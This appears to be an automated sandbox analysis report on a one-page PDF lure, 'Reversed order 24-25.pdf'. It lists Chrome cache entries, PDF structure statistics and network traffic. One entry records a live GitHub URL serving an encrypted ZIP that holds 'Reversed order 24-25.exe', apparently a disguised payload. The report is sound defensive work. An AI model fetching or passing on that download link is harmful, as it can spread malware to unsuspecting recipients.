.elementor-element.elementor-element-275197e0 .elementor-labels-inline .elementor-field-group > label{padding-right:0px;}body .elementor-5327 .el

Chrome Cache Entry: 425

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	80
Entropy (8bit):	4.815634426587137
Encrypted:	false
SSDEEP:
MD5:	2506A5DB4A20270EF64934E67DCDAC29
SHA1:	06401E1558A624D31D84B32DA6828BB6EE5B8D5F
SHA-256:	7F67E8AB60CCB8FB6960CB9895F06C7615073256E7A639678E178CE7877E7348
SHA-512:	AF8015A1E9992170DDAE67821BF7A456C5C02C1EB692858AC10604025ABDE96DB8E376EF1FDFB6D471538836E4B8C911F048756399526C70C7FEAF2CF4DEE673
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISHgnznRS5tPuIRxIFDbvZoQASBQ2DqFs9EgUNZSGZ6hIeCUiqvFlZz4h7EgUN9ltz0hIFDdOQZYQSBQ27Et_m?alt=proto
Preview:	ChsKBw272aEAGgAKBw2DqFs9GgAKBw1lIZnqGgAKGwoHDfZbc9IaAAoHDdOQZYQaAAoHDbsS3+YaAA==

Chrome Cache Entry: 426

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	560
Entropy (8bit):	7.242595674521302
Encrypted:	false
SSDEEP:
MD5:	1327394E0F44DBF22050552153223731
SHA1:	78089A463589A4C3AC5902872685D4F81D982A5B
SHA-256:	6ACC22780306B8D263AA9E7352AE8C7110D9532CD6A3F1FFF2444F06CEA4043A
SHA-512:	79456F4C79DCEDBCEF20341D4813C46AC8AD795AE19236888145A0290C1AAAC76D50421BEF4820CAA13E801F080EF3A9982A6EC699DA4DAAC2ECD1F57576D51C
Malicious:	false
Preview:	.PNG........IHDR..............pz....+tEXtCreation Time.wo 28 dec 2005 13:32:15 +0100n.W.....tIME.....$:o..j....pHYs...........~.....gAMA......a.....IDATx.cd.......$....H..j ...-.A..a..Tm?...d.P.K...0....'Y.;Y.!z....:.00A]...,..~..k9.....\..6...J).(.nN........u....n..^.f.....i...Mq.G......w1P..... e.......@mr...<..U ..:y.z..........l_....%..s.....................E.&&Nf...i/.....0..7.>S..g3....}......../P....;...k.............6f.g.......a.>..,.....?..vM...OB.....SO.r..p.!,H...V...l.p.-F.<..dd(.i...zG...n..g1...D[...0.....3&...k.3....IEND.B`.

Chrome Cache Entry: 427

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	10222
Entropy (8bit):	5.290687913849328
Encrypted:	false
SSDEEP:
MD5:	F270DD1F483179FDCFB29CE5F91AEA13
SHA1:	166661187A97F0B6B685EC4DBDFF871E9824168F
SHA-256:	1DC4B29DD0ACBED77EC2FD81036C33EFD4AB5989E8182705A30615A00A0117F7
SHA-512:	3B85F6D0A52157B81C97628ABC54CD79A83FB5D1CCDDE3AE2DA3AF18ACFB1E572CAA1BB6E304693AF8DEFF3C36C01C3B5A54070858B74DEBC40DC1D8EAFCD25B
Malicious:	false
Preview:	/! This file is auto-generated /.!function(){var t={9756:function(t){t.exports=function(t,n){var e,r,i=0;function o(){var o,a,s=e,u=arguments.length;t:for(;s;){if(s.args.length===arguments.length){for(a=0;a<u;a++)if(s.args[a]!==arguments[a]){s=s.next;continue t}return s!==e&&(s===r&&(r=s.prev),s.prev.next=s.next,s.next&&(s.next.prev=s.prev),s.next=e,s.prev=null,e.prev=s,e=s),s.val}s=s.next}for(o=new Array(u),a=0;a<u;a++)o[a]=arguments[a];return s={args:o,val:t.apply(null,o)},e?(e.prev=s,s.next=e):r=s,i===n.maxSize?(r=r.prev).next=null:i++,e=s,s.val}return n=n\|\|{},o.clear=function(){e=null,r=null,i=0},o}},124:function(t,n,e){var r;!function(){"use strict";var i={not_string:/[^s]/,not_bool:/[^t]/,not_type:/[^T]/,not_primitive:/[^v]/,number:/[diefg]/,numeric_arg:/[bcdiefguxX]/,json:/[j]/,not_json:/[^j]/,text:/^[^\x25]+/,modulo:/^\x25{2}/,placeholder:/^\x25(?:([1-9]\d)\$\|$([^)]+)$)?(\+)?(0\|'[^$])?(-)?(\d+)?(?:\.(\d+))?([b-gijostTuvxX])/,key:/^([a-z_][a-z_\d])/i,key_access:/^\.([a-z_]

Chrome Cache Entry: 428

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5141)
Category:	downloaded
Size (bytes):	5184
Entropy (8bit):	5.469220498657934
Encrypted:	false
SSDEEP:
MD5:	F8BC14815676C9258A8F9A7E2F3BC01A
SHA1:	948E1E948C36C1CFFBC377E7294C26583FD1403C
SHA-256:	6F70F923B2AB16028477CAB0D08B65BBA7902871F49A4F6EDDA814DA01C16449
SHA-512:	D5B3A7F4B014AB5F6D72E4F15DB4E5FFAC98FDEB41A43B7816A906815C8E756CA68E099E140267D8FA3563E35BD01DC13B79E0BE71E1ADDAEE2FB36FF9A333A6
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.js?ver=3.7.3
Preview:	/! elementor-pro - v3.7.3 - 31-07-2022 /.(()=>{"use strict";var e,r,_,a={},n={};function __webpack_require__(e){var r=n[e];if(void 0!==r)return r.exports;var _=n[e]={exports:{}};return a[e](_,_.exports,__webpack_require__),_.exports}__webpack_require__.m=a,e=[],__webpack_require__.O=(r,_,a,n)=>{if(!_){var c=1/0;for(o=0;o<e.length;o++){for(var[_,a,n]=e[o],i=!0,t=0;t<_.length;t++)(!1&n\|\|c>=n)&&Object.keys(__webpack_require__.O).every((e=>__webpack_require__.O[e](_[t])))?_.splice(t--,1):(i=!1,n<c&&(c=n));if(i){e.splice(o--,1);var b=a();void 0!==b&&(r=b)}}return r}n=n\|\|0;for(var o=e.length;o>0&&e[o-1][2]>n;o--)e[o]=e[o-1];e[o]=[_,a,n]},__webpack_require__.f={},__webpack_require__.e=e=>Promise.all(Object.keys(__webpack_require__.f).reduce(((r,_)=>(__webpack_require__.f[_](e,r),r)),[])),__webpack_require__.u=e=>714===e?"code-highlight.28a979661569ddbbf60d.bundle.min.js":721===e?"video-playlist.20d0d34e5188d18f240e.bundle.min.js":256===e?"paypal-button.3d0d5af7df85963df32c.bundle.min.js":15

Chrome Cache Entry: 429

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8189)
Category:	downloaded
Size (bytes):	20715
Entropy (8bit):	5.303600522104169
Encrypted:	false
SSDEEP:
MD5:	6AAF0A4E8EAC131DEFEA126F5B1B5FBF
SHA1:	24DA0326AF36303E5A1E9799A3C26F7A1077928C
SHA-256:	240B702419D6C39ECC4896F0132CCFC9BC517E9AEF0C782D99580E0C678B47D5
SHA-512:	A81796898EFEB3673291B036432910026486146CCF28E2BE0D802AFAC689104E9B99D969CE89048EA300AFED2604977ECFA4B40BE914C20A2F1C69F7B723DE52
Malicious:	false
URL:	https://www.woluntech.com/wp-includes/js/jquery/ui/core.min.js?ver=1.13.1
Preview:	/! jQuery UI - v1.13.1 - 2022-01-20. http://jqueryui.com.* Includes: data.js, disable-selection.js, escape-selector.js, focusable.js, form-reset-mixin.js, form.js, ie.js, jquery-1-7.js, keycode.js, labels.js, plugin.js, position.js, safe-active-element.js, safe-blur.js, scroll-parent.js, tabbable.js, unique-id.js, version.js, widget.js.* Copyright jQuery Foundation and other contributors; Licensed /.!function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],t):t(jQuery)}(function(x){"use strict";var t,e,i,n,W,C,o,s,r,l,a,h,u;function E(t,e,i){return[parseFloat(t[0])(a.test(t[0])?e/100:1),parseFloat(t[1])(a.test(t[1])?i/100:1)]}function L(t,e){return parseInt(x.css(t,e),10)\|\|0}function N(t){return null!=t&&t===t.window}x.ui=x.ui\|\|{},x.ui.version="1.13.1",./!. * jQuery UI :data 1.13.1. * http://jqueryui.com. . Copyright jQuery Foundation and other contributors. * Released under the MIT license.. * http://jquery.org/license. */.x.extend(x.expr.pseudos,{dat

Chrome Cache Entry: 430

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	242
Entropy (8bit):	6.198406228926171
Encrypted:	false
SSDEEP:
MD5:	7AF57D8F8C382CB8325E555CE7B8B6D1
SHA1:	0D9D4744D40A0D055AB4DFADA6600F02AE81F7AC
SHA-256:	1287E60EB1886BD0A803A80C9B158A7A9F43E56C1670222133CE8FA5FB3BDDFF
SHA-512:	662E84D02365A3F63AB4E8C6F4B04CE7AF55613DBEADC6F38856ABF51A978CA129C62CFF6232651E17B377748ABEDA9CB1A07DD19842F476674AC9570564ED18
Malicious:	false
Preview:	.PNG........IHDR..............pz....+tEXtCreation Time.do 29 dec 2005 02:33:52 +0100.JBc....tIME.....'..p......pHYs...........~.....gAMA......a....JIDATx..............a..J.g.Ao=.,].0....:..c...$p..Vi.........n7.Gs..].....o,..%F....IEND.B`.

Chrome Cache Entry: 431

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	474
Entropy (8bit):	7.121701098125146
Encrypted:	false
SSDEEP:
MD5:	3285CF9AB85D3C7763AE76DBE359F0E9
SHA1:	587F4E8A907116CFF37520D3A1938DD7AE5974E0
SHA-256:	80ACE833A4140BBE88C886643A1ADB101ED85DAA362F67E1AAADD2D264BADC94
SHA-512:	E042133ADC901B913E9ADA89D3026C6880997046C3D954F43B38714E27A4DDE2FD447CE0145B6885E74E0795881151153956392491487679D25FC6EE9DFD99B3
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/ar.png
Preview:	.PNG........IHDR..............pz....+tEXtCreation Time.za 31 dec 2005 16:41:51 +0100=.].....tIME......0e/.I....pHYs...........~.....gAMA......a....2IDATx.cd.......$....H..j .E...P..2...%.z.:..10.s.;(;...?}.....\l\&r.............._.}.8..n..?........8..e.,.,....~y......#.N.^N..b$m...p..5.g....*-(...~........]~z.._p.,.G32....H~..Q.Ol.....>\|.........z....m@{.<:..)....[.o..Y.Y......_.paa@..l....L..p..a.a...w..{..e....$.<..8.(@!...i.x.....?....c....%t.....IEND.B`.

Chrome Cache Entry: 432

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (19138), with no line terminators
Category:	dropped
Size (bytes):	19142
Entropy (8bit):	5.211542899822856
Encrypted:	false
SSDEEP:
MD5:	57459B58FD7665A5E20B2345463DF9C9
SHA1:	71C3B177AD1412D5E0B56D99F18BC345148DF88B
SHA-256:	6FECB89A29EE2BD397BB1BF58ECAA530A76F0654DB71FADEFD3CC70B0BC302BF
SHA-512:	2604A70A70AFF48B6A8F59BD6D3B56BB5EBAFC3BE40CE17FB0A4F00D498154AEC16273EBDBB4335633A56558D3B44DA879600F1D960DAD94ED7E362FEF49390C
Malicious:	false
Preview:	!function(t){"use strict";var n,r,e;r={},(e=function(t){if(r[t])return r[t].exports;var o=r[t]={i:t,l:!1,exports:{}};return n[t].call(o.exports,o,o.exports,e),o.l=!0,o.exports}).m=n=[function(t,n,r){r(1),r(67),r(68),r(72),r(79),t.exports=r(85)},function(n,r,e){var o=e(2),i=e(36),u=e(57),c=e(56);e=e(62);o({target:"Array",proto:!0},{at:function(n){var r=i(this),e=u(r);return(n=0<=(n=c(n))?n:e+n)<0\|\|e<=n?t:r[n]}}),e("at")},function(n,r,e){var o=e(3),i=e(4).f,u=e(40),c=e(43),f=e(34),a=e(50),p=e(61);n.exports=function(n,r){var e,s,l,y=n.target,v=n.global,d=n.stat,b=v?o:d?o[y]\|\|f(y,{}):(o[y]\|\|{}).prototype;if(b)for(e in r){if(s=r[e],l=n.noTargetGet?(l=i(b,e))&&l.value:b[e],!p(v?e:y+(d?".":"#")+e,n.forced)&&l!==t){if(typeof s==typeof l)continue;a(s,l)}(n.sham\|\|l&&l.sham)&&u(s,"sham",!0),c(b,e,s,n)}}},function(t,n){function r(t){return t&&t.Math==Math&&t}t.exports=r("object"==typeof globalThis&&globalThis)\|\|r("object"==typeof window&&window)\|\|r("object"==typeof self&&self)\|\|r("object"==typeof

Chrome Cache Entry: 433

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	272
Entropy (8bit):	6.426337513186419
Encrypted:	false
SSDEEP:
MD5:	07C8FA38921275801505E6F6777C70B7
SHA1:	39FD3E523B26007022430DF03003C6121BF538A5
SHA-256:	1F8F494547CC9F3681169BD29D2B0B61D690703FB5884BD15F92B171BE6F3DCB
SHA-512:	E05DF010BAD6ABDBFFDE112BAD18802A8685471A314A94B4EB4C81BB9C37721CD3735F744092D3B6519A05037E343F628ED3F74FE3A9EE44EFFAE0A30255E0F0
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/th.png
Preview:	.PNG........IHDR..............pz....+tEXtCreation Time.za 31 dec 2005 17:03:33 +0100..?.....tIME...... ........pHYs...........~.....gAMA......a....hIDATx..=.. ........2......C'j.....7\|!@./ea.....J)v...U&... .a.x..Q.......{.Z..tN.81.lA4.0u..MVP..<&.,9b.......IEND.B`.

Chrome Cache Entry: 434

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65524), with no line terminators
Category:	downloaded
Size (bytes):	104928
Entropy (8bit):	4.83791052710342
Encrypted:	false
SSDEEP:
MD5:	EB010B029B70E4F5161E91838B58D115
SHA1:	7FECF1C64BE7240E8F2A2AAEB7A18FE6456C5317
SHA-256:	E10835E20AC62A3236545C60FF299CBE975AEA52AFEF50B95220E130F3B4B56C
SHA-512:	0E44C37E4EDFD65D468F1A92752B1668F9A7C065421EC567627FB88A4F281CF5D5C04286FBD5BCFCD9BB5F6E97BEE92FB14C7D069E7ECE977ED6494E09777833
Malicious:	false
URL:	https://www.woluntech.com/wp-content/themes/astra/assets/css/minified/compatibility/woocommerce/woocommerce.min.css?ver=3.7.9
Preview:	@charset "UTF-8";@keyframes spin{100%{transform:rotate(360deg)}}@font-face{font-family:star;src:url("../../../../../../../plugins/woocommerce/assets/fonts/star.eot");src:url("../../../../../../../plugins/woocommerce/assets/fonts/star.eot?#iefix") format("embedded-opentype"),url("../../../../../../../plugins/woocommerce/assets/fonts/star.woff") format("woff"),url("../../../../../../../plugins/woocommerce/assets/fonts/star.ttf") format("truetype"),url("../../../../../../../plugins/woocommerce/assets/fonts/star.svg#star") format("svg");font-weight:400;font-style:normal}@font-face{font-family:WooCommerce;src:url("../../../../../../../plugins/woocommerce/assets/fonts/WooCommerce.eot");src:url("../../../../../../../plugins/woocommerce/assets/fonts/WooCommerce.eot?#iefix") format("embedded-opentype"),url("../../../../../../../plugins/woocommerce/assets/fonts/WooCommerce.woff") format("woff"),url("../../../../../../../plugins/woocommerce/assets/fonts/WooCommerce.ttf") format("truetype"),url(".

Chrome Cache Entry: 435

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9139)
Category:	downloaded
Size (bytes):	9533
Entropy (8bit):	5.393453483611794
Encrypted:	false
SSDEEP:
MD5:	87C54EDF7DAD7DFDFDE015F6EEE45FF1
SHA1:	96EC1A06EA3093C47E1E2FC4444ADA7F4456135D
SHA-256:	EF22199864042B8CEEEE3729F3254C140DF7217364045737CA3AADF8434FB3DA
SHA-512:	5C3565BB7C80CBEBEFFD3A0A413DF03FB264EF2D2B2F7CAEAAA29B828081F6DB95EF6FE5C1D64A988D5885DEA699A7E9D112393A745A445990008A99CCD5DE9F
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min.js?ver=2.7.0-wc.6.2.2
Preview:	/!. jQuery blockUI plugin. * Version 2.70.0-2014.11.23. * Requires jQuery v1.7 or later. . Examples at: http://malsup.com/jquery/block/. * Copyright (c) 2007-2013 M. Alsup. * Dual licensed under the MIT and GPL licenses:. * http://www.opensource.org/licenses/mit-license.php. * http://www.gnu.org/licenses/gpl.html. . Thanks to Amir-Hossein Sobhi for some excellent contributions!. */.!function(){"use strict";function e(p){p.fn._fadeIn=p.fn.fadeIn;var b=p.noop\|\|function(){},h=/MSIE/.test(navigator.userAgent),k=/MSIE 6.0/.test(navigator.userAgent)&&!/MSIE 8.0/.test(navigator.userAgent),y=(document.documentMode,"function"==typeof document.createElement("div").style.setExpression&&document.createElement("div").style.setExpression);p.blockUI=function(e){o(window,e)},p.unblockUI=function(e){v(window,e)},p.growlUI=function(e,t,o,n){var i=p('<div class="growlUI"></div>');e&&i.append("<h1>"+e+"</h1>"),t&&i.append("<h2>"+t+"</h2>"),o===undefined&&(o=3e3);var s=function(e){p.blockUI({messa

Chrome Cache Entry: 436

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2139), with no line terminators
Category:	dropped
Size (bytes):	2139
Entropy (8bit):	4.957392272918885
Encrypted:	false
SSDEEP:
MD5:	B72C1CBB1530A011A27BD9800F26765A
SHA1:	27B825C5D8255F33B8427A059D4545EBD65E1746
SHA-256:	A256FCCECAC3B32AB73C91D79A18747519A1A18023BE05465C933B03523A82E8
SHA-512:	63FEBB24BDB65C39ACC8D355DC5B20D3A1AD94AFC347AB2936C543D8B7A911C2F6D2C1C0146707CDB29BEA85A8F34E7FB6E76AAEE4BC0BEA212EA58835A58025
Malicious:	false
Preview:	jQuery(function(s){s(".woocommerce-ordering").on("change","select.orderby",function(){s(this).closest("form").trigger("submit")}),s("input.qty:not(.product-quantity input.qty)").each(function(){var o=parseFloat(s(this).attr("min"));0<=o&&parseFloat(s(this).val())<o&&s(this).val(o)});var e="store_notice"+(s(".woocommerce-store-notice").data("noticeId")\|\|"");"hidden"===Cookies.get(e)?s(".woocommerce-store-notice").hide():s(".woocommerce-store-notice").show(),s(".woocommerce-store-notice__dismiss-link").on("click",function(o){Cookies.set(e,"hidden",{path:"/"}),s(".woocommerce-store-notice").hide(),o.preventDefault()}),s(".woocommerce-input-wrapper span.description").length&&s(document.body).on("click",function(){s(".woocommerce-input-wrapper span.description:visible").prop("aria-hidden",!0).slideUp(250)}),s(".woocommerce-input-wrapper").on("click",function(o){o.stopPropagation()}),s(".woocommerce-input-wrapper :input").on("keydown",function(o){var e=s(this).parent().find("span.description

Chrome Cache Entry: 437

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	454
Entropy (8bit):	6.823953367731146
Encrypted:	false
SSDEEP:
MD5:	381FD6B928DEBFEB0C34CF68965CBAB6
SHA1:	10A60A2B849310B21258E52B2E105AF358FE6787
SHA-256:	F1F7BDF9F1B3033E414230FEBFF0B9C9967A7EB1C0BFC30C3DADB6C84B50A365
SHA-512:	85735944075B0368A71C787357DC4067CCD25CA588C5CE6A1BC42AE83E416F0EA88DB844D90E3E2F882051FB07C75C75BB831B401D59A39AF721570AD27A78FF
Malicious:	false
Preview:	.PNG........IHDR.............o......sRGB.........gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....tIME....../.......1IDAT8Oc.......d.^.,.....~5 ..2......o)...A W.....$..q...O......CF...0...r.H...w. -...\|....2...+.......N@..]...B..n...c"...j....0...........~d........"@W.a.(.n...W]....<`C@..K........z..5.........j.....5...z2....A....-...V......5...y;..g...oH.`.(..e....j...C...{.RX...k.p.'D`,...._.. ..z$y......p....IEND.B`.

Chrome Cache Entry: 438

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (40438)
Category:	dropped
Size (bytes):	40477
Entropy (8bit):	5.256298975250402
Encrypted:	false
SSDEEP:
MD5:	AB2ED7A7A595BDE264A98935F0F50C7E
SHA1:	9CB6EE07B4F060CA17DF0700FE98AD73DF60AF09
SHA-256:	37209A2B751204DC01191986B6EF47F27463285DE8A341729C514D70A19A90FE
SHA-512:	31A1C775349A3766B2617C40B15EE14A4C59CC73D478A5CADD4359651B0110FB5FBBBCE3033B6DCD0E6A07BD386EEADE5571567CF2F1E62D22D4436E914C7B66
Malicious:	false
Preview:	/! elementor - v3.6.8 - 27-07-2022 /.(self.webpackChunkelementor=self.webpackChunkelementor\|\|[]).push([[819],{9220:(e,t,n)=>{"use strict";var i=n(3203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=i(n(8135));class _default extends elementorModules.ViewModule{constructor(){super(...arguments),this.documents={},this.initDocumentClasses(),this.attachDocumentsClasses()}getDefaultSettings(){return{selectors:{document:".elementor"}}}getDefaultElements(){const e=this.getSettings("selectors");return{$documents:jQuery(e.document)}}initDocumentClasses(){this.documentClasses={base:s.default},elementorFrontend.hooks.doAction("elementor/frontend/documents-manager/init-classes",this)}addDocumentClass(e,t){this.documentClasses[e]=t}attachDocumentsClasses(){this.elements.$documents.each(((e,t)=>this.attachDocumentClass(jQuery(t))))}attachDocumentClass(e){const t=e.data(),n=t.elementorId,i=t.elementorType,s=this.documentClasses[i]\|\|this.documentClasses.base;this.documents[n

Chrome Cache Entry: 439

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2938), with no line terminators
Category:	downloaded
Size (bytes):	2938
Entropy (8bit):	4.989368196764261
Encrypted:	false
SSDEEP:
MD5:	0FD625C3991A4015814CFFDC88E2FC82
SHA1:	D7C2F53E058210FF3EA773297641008BAB71A5F3
SHA-256:	2D022DB650D194D935FAEA46A40E5512235B43BC3F8B181E32CE6D3DD745F4E1
SHA-512:	B936B4E596739DE1FA708A9F439167D4C2E670228A88A803363AA65F061B29DD9F52FDCD5AAB1C1DCBBC634A779E54F767640B2BAF30025130B5EA4FC6169631
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/woocommerce/assets/js/frontend/cart-fragments.min.js?ver=6.2.2
Preview:	jQuery(function(r){if("undefined"==typeof wc_cart_fragments_params)return!1;var t=!0,o=wc_cart_fragments_params.cart_hash_key;try{t="sessionStorage"in window&&null!==window.sessionStorage,window.sessionStorage.setItem("wc","test"),window.sessionStorage.removeItem("wc"),window.localStorage.setItem("wc","test"),window.localStorage.removeItem("wc")}catch(f){t=!1}function a(){t&&sessionStorage.setItem("wc_cart_created",(new Date).getTime())}function s(e){t&&(localStorage.setItem(o,e),sessionStorage.setItem(o,e))}var e={url:wc_cart_fragments_params.wc_ajax_url.toString().replace("%%endpoint%%","get_refreshed_fragments"),type:"POST",data:{time:(new Date).getTime()},timeout:wc_cart_fragments_params.request_timeout,success:function(e){e&&e.fragments&&(r.each(e.fragments,function(e,t){r(e).replaceWith(t)}),t&&(sessionStorage.setItem(wc_cart_fragments_params.fragment_name,JSON.stringify(e.fragments)),s(e.cart_hash),e.cart_hash&&a()),r(document.body).trigger("wc_fragments_refreshed"))},error:func

Chrome Cache Entry: 440

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	downloaded
Size (bytes):	346769
Entropy (8bit):	7.998718069580938
Encrypted:	true
SSDEEP:
MD5:	F149CA2510F2F8AD31758308F2008551
SHA1:	53C35DC7DE4320CACED7FB1E1961E859E5132E06
SHA-256:	A3AA0398A17BC55BE013E49C10E8DCFE35F6D16A2A15505A534EF10265908BDE
SHA-512:	9ACAFD9F0A208AD6ABAB7D49780B7B135821201E8D1A02374207EB99139893361DFFB0EF5813FA53F0E02B1EF7875FCF183D749A4BD8D49BD398814AE97C48C2
Malicious:	false
URL:	https://raw.githubusercontent.com/donmodely2k/poczta.github.io/refs/heads/main/Reversed%20order%2024-25.zip
Preview:	PK........u-Z8.5..I...L......Reversed order 24-25.exe.[{\|..}...........$K......$K.lK..'o..m.........'^6v......BHP)ql.mjS..P..!.I..! .@i.-.%..H..~.{.7w{.&.O.G.#...f....o~3s;{..[........x..5.>......]5..I..N.7i..u.y....+.5.3...XW..^.Yt....E...qm..q.b.S\|~x.......d..N.x .p.......J.'...7]....f9p./..._.Yx..@..(..o~...0..q..!..ye..h..'..]......;.vQ[.(.P....[.b..Fm....\|...Zu.....Tg.:.]........)..k...7....>T..0.^Z^...[..B.....x.Q.F......F.......V........s.?..d.9.Oe.g@14.2?.7.].%.....z..!~..\|jYP.w ../..s.s...)D...R.O......P.C..c.Q...a....I.s...3......-..9.J4{.4.....b..GaZ..0G.....h(7...{..+F...Yx...[,<.r5.P(#.l...r.A.........J7.T....s.s.w...AT.....F+bfU.`-..s{>A.8.b.d...\'.FUiU.#1".a...lR.Q..5.3.(v4...A....r.......t.l".X.8.2....8..N.d@..Z..~LM.#?..9.2.."...X$.......,gS.Q!..=....a..:...GF...b,$.......E...,2"..0.....c:..tj.....l.S....A.......$Aw2=,l.:M5N.H.X7b.8...H2.J..)=.......z1....A=p..@2..:GF...t.Z2........r...TR.N.#.6.......1%...p..DV

Chrome Cache Entry: 441

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	232
Entropy (8bit):	6.122750760011859
Encrypted:	false
SSDEEP:
MD5:	E318BC0E21A0E095FC9AFC739DEF99B8
SHA1:	A0596F116DD5A5B55FC227411142DE78FD4789A4
SHA-256:	F0839B8F8000714A6BECDAFE593E9C19CF477EED8882B2F198AA7A0BDBC0F304
SHA-512:	43A750C6DCA73F4EEE492DA6A51D239915D47C0BAFC5F537A9464AC9878C619094D71F9150DA3A96CBDFB3D495E306B1DF00FF7431326065D3E01909D6A73AA5
Malicious:	false
URL:	https://www.woluntech.com/wp-content/plugins/translatepress-multilingual/assets/images/flags/es_PE.png
Preview:	.PNG........IHDR..............pz....+tEXtCreation Time.za 31 dec 2005 16:32:05 +0100C.......tIME.....&.bL......pHYs...........~.....gAMA......a....@IDATx.c....c.12..01............\|..[mo......`.....?....^......0...........IEND.B`.

Static File Info

General

File type:	PDF document, version 2.0, 1 pages
Entropy (8bit):	7.755339141074116
TrID:	Adobe Portable Document Format (5005/1) 100.00%
File name:	Reversed order 24-25.pdf
File size:	69'067 bytes
MD5:	b5f2ed6a5daa6e4c21adf83e40853ecf
SHA1:	514e66f11d8c1a6ed644a82499e2b59315ee9daa
SHA256:	42c1a7d947af73d5843721b690d12f68c3378c878edf4425ce1b3e8a9af56986
SHA512:	f557378a735c6db953d9476e3f50567662cd99c27b3265404b25f974e67b4186514d64d709e3b7e871e87da784c1a4e454f9c26e06bef4577771e1ccfe46e81b
SSDEEP:	1536:16iXERRRkqA4WmmtMw3fvDxpBQqM5O0vKoyEbGZ1e+:uRRRMBP7JQJ5aoyEbF+
TLSH:	AC63F8138C198F93902487E87E571EAD5F197B4DA8C13AEF10664EDF7E643261C8E12E
File Content Preview:	%PDF-2.0.%.....1 0 obj<</Type/Catalog/Pages 2 0 R/Metadata 3 0 R>>.endobj.2 0 obj<</Type/Pages/Kids[4 0 R]/Count 1>>.endobj.3 0 obj<</Type/Metadata/Subtype/XML/Length 914>>stream.<?xpacket begin='...' id='W5M0MpCehiHzreSzNTczkc9d'?>.<x:xmpmeta xmlns:x="ad

File Icon


Icon Hash:	62cc8caeb29e8ae0

Static PDF Info

General
Header:	%PDF-2.0
Total Entropy:	7.755339
Total Bytes:	69067
Stream Entropy:	7.747989
Stream Bytes:	67617
Entropy outside Streams:	5.347638
Bytes outside Streams:	1450
Number of EOF found:	1
Bytes after EOF:

Keywords Statistics

Name	Count
obj	10
endobj	10
stream	3
endstream	3
xref	1
trailer	1
startxref	1
/Page	1
/Encrypt	0
/ObjStm	0
/URI	2
/JS	0
/JavaScript	0
/AA	0
/OpenAction	0
/AcroForm	0
/JBIG2Decode	0
/RichMedia	0
/Launch	0
/EmbeddedFile	0

Image Streams

ID	DHASH	MD5	Preview
5	2d76662e2e1286c0	aeaa9a2850677a8b7fce2de221e45b7f

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 03:36:34.694654942 CET	49675	443	192.168.2.4	173.222.162.32
Jan 15, 2025 03:36:52.686872005 CET	80	49723	217.20.57.19	192.168.2.4
Jan 15, 2025 03:36:52.687088013 CET	49723	80	192.168.2.4	217.20.57.19
Jan 15, 2025 03:36:52.687143087 CET	49723	80	192.168.2.4	217.20.57.19
Jan 15, 2025 03:36:52.692019939 CET	80	49723	217.20.57.19	192.168.2.4
Jan 15, 2025 03:36:58.753372908 CET	49751	443	192.168.2.4	140.82.121.3
Jan 15, 2025 03:36:58.753451109 CET	443	49751	140.82.121.3	192.168.2.4
Jan 15, 2025 03:36:58.753513098 CET	49751	443	192.168.2.4	140.82.121.3
Jan 15, 2025 03:36:58.754760027 CET	49751	443	192.168.2.4	140.82.121.3
Jan 15, 2025 03:36:58.754796982 CET	443	49751	140.82.121.3	192.168.2.4
Jan 15, 2025 03:36:59.382746935 CET	443	49751	140.82.121.3	192.168.2.4
Jan 15, 2025 03:36:59.383105040 CET	49751	443	192.168.2.4	140.82.121.3
Jan 15, 2025 03:36:59.383147955 CET	443	49751	140.82.121.3	192.168.2.4
Jan 15, 2025 03:36:59.384814978 CET	443	49751	140.82.121.3	192.168.2.4
